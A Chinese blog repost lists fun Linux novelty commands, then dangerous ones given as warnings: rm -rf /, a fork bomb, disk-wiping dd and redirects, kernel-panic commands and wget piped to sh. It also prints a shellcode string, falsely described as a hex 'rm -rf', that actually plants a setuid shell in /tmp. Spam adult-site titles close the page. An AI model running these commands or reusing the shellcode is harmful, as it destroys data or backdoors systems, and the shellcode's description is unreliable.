1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        Linux 新手必會(huì)的21條命令合集

        共 4494字,需瀏覽 9分鐘

         ·

        2022-07-17 02:16

        Linux初期的學(xué)習(xí)曲線有些陡峭,所以作為一名初學(xué)者,學(xué)會(huì)自?shī)首詷?lè)是非常重要的。先來(lái)看13個(gè)有趣的小命令。


        1.sl 命令


        你會(huì)看到一輛火車從屏幕右邊開(kāi)往左邊。。。。。。


        安裝  $ sudo apt-get install sl
        運(yùn)行  $ sl


        命令有 -alFe幾個(gè)選項(xiàng),


        -a An accident seems to happen. You'll feel pity for people who cry for help.
        -l shows little one.
        -F It flies.
        -e Allow interrupt by Ctrl+C.



        可以給別人來(lái)個(gè)惡作劇,他一敲ls,不知道的肯定很有效果


        $alias ls=sl


        2.fortune  命令


        輸出一句話,有笑話,名言什么的 (還有唐詩(shī)宋詞sudo apt-get install fortune-zh)


        安裝 $sudo apt-get install fortune
        運(yùn)行 $fortune



        3.cowsay 命令


        用ASCII字符打印牛,羊等動(dòng)物,還有個(gè)cowthink,這個(gè)是奶牛想,那個(gè)是奶牛說(shuō),哈哈,差不多


        安裝  $sudo apt-get install cowsay
        運(yùn)行  $cowsay "I am not a cow, hahaha"



        $cowsay -l  查看其它動(dòng)物的名字,然后-f跟上動(dòng)物名,如
        $cowsay -f tux "坑爹啊"



        還可以讓cowsay說(shuō)出fortune的內(nèi)容,就像這樣:


        $fortune | cowsay



        4.cmatrix 命令


        這個(gè)很酷!《黑客帝國(guó)》那種矩陣風(fēng)格的動(dòng)畫效果


        安裝   $ sudo apt-get install cmatrix
        運(yùn)行   $cmatrix



        5.figlet 、toilet命令


        藝術(shù)字生成器,由ASCII字符組成,把文本顯示成標(biāo)題欄。此外還有banner這個(gè)命令


        安裝  $sudo apt-get install figlet
        $sudo apt-get install toilet
        運(yùn)行  $figlet fuck you !
        $toilet i love you



        toilet還可以添加顏色,里面的選項(xiàng)請(qǐng)自己man一下


        $ toilet -f mono12 -F gay a girl



        6.oneko 命令


        桌面上出現(xiàn)一直喵星人,跟著你的鼠標(biāo)跑,你不動(dòng)了它就睡覺(jué)。哈哈,這個(gè)挺不錯(cuò)


        安裝 $sudo apt-get install oneko
        運(yùn)行 $oneko   要關(guān)掉這家伙,按ctrl+c 結(jié)束



        7.xeyes 命令


        在屏幕上出現(xiàn)一雙眼睛,盯著你的鼠標(biāo)指針


        安裝運(yùn)行同上



        8.yes 命令


        輸出無(wú)窮無(wú)盡的字符,按ctrl+c結(jié)束,如


        $yes  我很NB


        9.cal 9 1752


        cal是打印日歷,不過(guò)這個(gè)是很奇葩的一個(gè)月,



        10.shred


        覆蓋搞亂文件,就是文檔粉碎,哈哈,要把你私藏的大片種子和電影銷毀,不被恢復(fù)出來(lái),就靠它了


        11.factor


        分解因數(shù),這個(gè)。。。小學(xué)生可以用一下



        12.挨個(gè)敲下面這一堆, aptitude沒(méi)有的可以安裝上


        aptitude moo
        aptitude -v moo
        aptitude -vv moo
        aptitude -vvv moo
        aptitude -vvvv moo
        aptitude -vvvvv moo
        aptitude -vvvvvv moo
        aptitude -vvvvvvv moo


        13.free the fish


        桌面游過(guò)一條魚...


        alt+f2 輸入free the fish


        那么,繼續(xù)!

        14.rm -rf /

        和大多數(shù) Linux 命令一樣,rm 這個(gè)核心命令使用起來(lái)非常方便。即便是最頑固的文件它也能幫你刪除。結(jié)合起后面兩個(gè)參數(shù)理解 rm 指令時(shí),你很容易陷入大麻煩:-r,強(qiáng)制遞歸刪除所有子目錄,-f,無(wú)需確認(rèn),強(qiáng)制刪除所有只讀文件。如果你在根目錄運(yùn)行這條指令,將清除整個(gè)驅(qū)動(dòng)器上的所有數(shù)據(jù)。

        然后,當(dāng)文件化為烏有時(shí)其中也包括了公司的視頻。幸運(yùn)的是,在瘋狂敲擊 control -C 后,在刪除太多文件之前,系統(tǒng)管理員中止了這條命令。但這是對(duì)你的警告:任何人都可能犯這樣的錯(cuò)誤。

        事實(shí)上,絕大部分現(xiàn)代操作系統(tǒng)都會(huì)在你犯這些錯(cuò)誤之前,用一段醒目的文字警告你。然而,如果你在連續(xù)敲擊鍵盤時(shí)忙碌或是分心,你將會(huì)把你的系統(tǒng)鍵入一個(gè)黑洞。(LCTT 譯注:幸運(yùn)的是,可能在根目錄下刪除整個(gè)文件系統(tǒng)的人太多了額,后來(lái) rm 默認(rèn)禁止刪除根目錄,除非——你手動(dòng)加上 –no-preserve-root 參數(shù)!)

        這里有一些更為隱蔽的方式調(diào)用 rm -rf。思考一下下面的代碼:

        char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
        “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
        “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
        “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
        “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
        “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
        “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
        “cp -p /bin/sh /tmp/.beyond; chmod 4755
        /tmp/.beyond;”;


        這是什么?這是 16 進(jìn)制的 rm -rf 寫法。在你不明確這段代碼之前,請(qǐng)千萬(wàn)不要運(yùn)行這條命令!

        15.fork 炸彈

        既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:

        :(){ :|: & };:


        對(duì)你來(lái)說(shuō),這可能看起來(lái)有些神秘,但是我看來(lái),它就是那個(gè)臭名昭著的 Bash fork 炸彈。它會(huì)反復(fù)啟動(dòng)新的 Bash shell,直到你的系統(tǒng)資源消耗殆盡、系統(tǒng)崩潰。


        不應(yīng)該在最新的 Linux 系統(tǒng)上做這些操作。注意,我說(shuō)的是不應(yīng)該。我沒(méi)有說(shuō)不能。正確設(shè)置用戶權(quán)限,Linux 系統(tǒng)能夠阻止這些破壞性行為。通常用戶僅限于分配使用機(jī)器可用內(nèi)存。但是如果作為 root 用戶的你運(yùn)行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反復(fù)虐待服務(wù)器,直到系統(tǒng)重啟了。

        16.垃圾數(shù)據(jù)重寫硬盤

        有時(shí)候你想徹底清除硬盤的數(shù)據(jù),你應(yīng)該使用 Darik’s Boot and Nuke (DBAN) 工具去完成這項(xiàng)工作。

        但是如果僅僅想讓你的存儲(chǔ)器亂套,那很簡(jiǎn)單:

        任意命令 > /dev/hda


        我說(shuō)的“任意命令”,是指有輸出的任意命令,比如:


        ls -la > /dev/hda


        ……將目錄列表通過(guò)管道送到你的主存儲(chǔ)設(shè)備。給我 root 權(quán)限和足夠的時(shí)間,就能覆蓋整個(gè)硬盤設(shè)備。這是讓你開(kāi)始盲目恐慌的一天的好辦法,或者,可以把它變成職業(yè)禁入方式。

        17.擦除硬盤!

        另一個(gè)一直受歡迎的擦除硬盤的方式是執(zhí)行:

        dd if=/dev/zero of=/dev/hda


        你可以用這條命令寫入數(shù)據(jù)到你的硬盤設(shè)備。dd 命令可以從特殊文件中獲取無(wú)盡個(gè) 0 字符,并且將它全部寫入你的設(shè)備。

        18./dev/ 的損失

        另一個(gè)毀滅你的存儲(chǔ)設(shè)備的方式,運(yùn)行 mv / /dev/null 或者 >mv /dev/null。

        在前一種情況下,你作為 root 用戶,把整個(gè)磁盤數(shù)據(jù)都送進(jìn)這個(gè)如饑似渴的 /dev/null。在后者,你僅僅把家目錄喂給這個(gè)空空如也的倉(cāng)庫(kù)。任何一種情況下,除非還原備份,你再也不會(huì)再看見(jiàn)你的數(shù)據(jù)了。

        19.格式化錯(cuò)了驅(qū)動(dòng)器

        有時(shí)候你需要使用這一條命令格式化驅(qū)動(dòng)器:

        mkfs.ext3 /dev/hda


        ……它會(huì)用 ext3 文件系統(tǒng)格式化主硬盤驅(qū)動(dòng)器。別,請(qǐng)等一下!你正在格式化你的主驅(qū)動(dòng)器!難道你不需要用它?


        當(dāng)你要格式化驅(qū)動(dòng)器的時(shí)候,請(qǐng)務(wù)必加倍確認(rèn)你正在格式化的分區(qū)是真的需要格式化的那塊而不是你正在使用的那塊,無(wú)論它們是 SSD、閃存盤還是其他氧化鐵磁盤。

        20.內(nèi)核崩潰

        一些 Linux 命令不能讓你的機(jī)器長(zhǎng)時(shí)間停機(jī)。然而,一些命令卻可以導(dǎo)致內(nèi)核崩潰。這些錯(cuò)誤通常是由硬件問(wèn)題引起的,但你也可以自己搞崩。

        當(dāng)你遭遇內(nèi)核崩潰,重新啟動(dòng)系統(tǒng)你才可以恢復(fù)工作。在一些情況下,這只是有點(diǎn)小煩;在另一些情況下,這是一個(gè)大問(wèn)題,比如說(shuō),高負(fù)荷運(yùn)作下的生產(chǎn)環(huán)境。下面有一個(gè)案例:

        dd if=/dev/random of=/dev/port
        echo 1 > /proc/sys/kernel/panic
        cat /dev/port
        cat /dev/zero > /dev/mem


        這些都會(huì)導(dǎo)致內(nèi)核崩潰。

        絕不要運(yùn)行你并不了解它功能的命令,它們都在提醒我…

        21.提防未知腳本

        年輕或是懶惰的系統(tǒng)管理員喜歡復(fù)制別人的腳本。何必重新重復(fù)造輪子?所以,他們找到了一個(gè)很酷的腳本,承諾會(huì)自動(dòng)檢查所有備份。他們就這樣運(yùn)行它:

        wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh


        這會(huì)下載該腳本,并將它送到 shell 上運(yùn)行。

        你認(rèn)為你不會(huì)干那樣的事?告訴我,所有那些 你在 Docker 里面運(yùn)行的容器鏡像在干什么?你知道它們到底在運(yùn)行著什么嗎?我見(jiàn)過(guò)太多的沒(méi)有驗(yàn)證容器里面裝著什么就運(yùn)行它們的系統(tǒng)管理員。請(qǐng)不要和他們一樣。

        參考資料:

        http://www.cnblogs.com/sukai/archive/2013/06/08/3127031.html

        https://linux.cn/article-9206-1.html


        END


        版權(quán)申明:內(nèi)容來(lái)源網(wǎng)絡(luò),版權(quán)歸原創(chuàng)者所有。除非無(wú)法確認(rèn),都會(huì)標(biāo)明作者及出處,如有侵權(quán),煩請(qǐng)告知,我們會(huì)立即刪除并致歉!

        瀏覽 59
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            动漫两个男男黄漫视频 | 插女人的视频18 | 特级一级A片免费播放么么的 | 性虎色成人AV | 青青草青娱乐在线视频 | 女人扒开腿秘 免费网站中国 | 欧美老女人性爱视频网 | 少妇久久久久久被弄到高潮 | 公厕美女bbbb撒尿 | 婷婷丁香视频 |